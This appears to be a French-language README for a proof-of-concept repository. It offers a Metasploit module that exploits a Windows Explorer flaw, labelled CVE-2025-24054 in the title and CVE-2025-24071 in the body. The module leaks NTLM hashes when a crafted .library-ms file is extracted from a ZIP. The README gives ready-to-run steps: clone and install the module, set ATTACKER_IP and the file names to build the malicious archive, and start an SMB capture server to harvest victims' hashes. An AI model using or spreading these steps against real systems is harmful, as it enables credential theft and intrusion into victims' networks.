
POC pour CVE-2025-24054
Ce dépôt contient un module Metasploit pour exploiter CVE-2025-24071, une vulnérabilité dans l'Explorateur Windows qui divulgue les hachages NTLM lorsqu'un fichier .library-ms malveillant est extrait d'une archive ZIP.
Développé par : FOLKS-IWD
La vulnérabilité se produit lorsqu'un utilisateur extrait une archive ZIP contenant un fichier .library-ms spécialement conçu. L'Explorateur Windows lance automatiquement une demande d'authentification SMB vers un serveur distant spécifié dans le fichier, divulguant le hachage NTLM de l'utilisateur sans aucune interaction de sa part.
Ce module Metasploit :
.library-ms malveillant.
git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
cd CVE-2025-24071-msfvenom
cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
use auxiliary/server/ntlm_hash_leak
set ATTACKER_IP 192.168.1.162 # Remplacez par votre adresse IP
set FILENAME exploit.zip # Nom du fichier ZIP malveillant
set LIBRARY_NAME malicious.library-ms # Nom du fichier .library-ms
set SHARE_NAME shared # Nom du partage SMB
run
use auxiliary/server/capture/smb
set SRVHOST 192.168.1.162 # Identique à ATTACKER_IP
run